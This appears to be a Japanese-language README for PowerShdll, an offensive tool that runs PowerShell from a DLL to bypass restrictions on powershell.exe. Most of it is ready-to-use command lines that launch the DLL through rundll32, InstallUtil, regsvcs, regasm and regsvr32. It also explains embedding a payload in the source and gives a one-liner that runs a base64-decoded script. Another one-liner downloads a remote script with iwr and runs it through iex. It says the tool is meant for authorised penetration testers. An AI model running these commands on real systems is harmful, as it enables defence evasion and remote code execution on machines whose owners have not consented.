
DLLのみでPowerShellを実行します。
powershell.exeへのアクセスは不要です。PowerShellの自動化DLLを使用します。
PowerShdllは、rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe、またはスタンドアロンの実行可能ファイルとして実行できます。
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
common.csファイルのstartメソッド内の"payload"変数を変更することで、ペイロードを埋め込むことができます。ペイロードが埋め込まれている場合、他のすべての引数は無視され、PowerShdllの実行時にペイロードが実行されます。
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
注: Empireステージャーは[System.Text.Encoding]::Unicodeを使用してデコードする必要があります。
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
一部のエラーが出力に表示されない場合があります。Import-Moduleなどのコマンドが失敗してもエラーが出力されないため混乱する可能性があります。 コマンドが正しく入力されていることを確認してください。
DLLモードでは、対話モードとコマンド出力は親プロセスのコンソールを乗っ取ることに依存しています。親プロセスにコンソールがない場合は、-nスイッチを使用して出力を表示しないようにしてください。そうしないとアプリケーションがクラッシュします。
Rundll32が引数を処理する方法のため、スイッチと引数の間に複数のスペース文字を使用すると問題が発生する可能性があります。スクリプト内の複数のスペースは問題ありません。
このプロジェクトはセキュリティ研究者およびペネトレーションテスターを対象としており、システム所有者の承認がある場合にのみ使用する必要があります。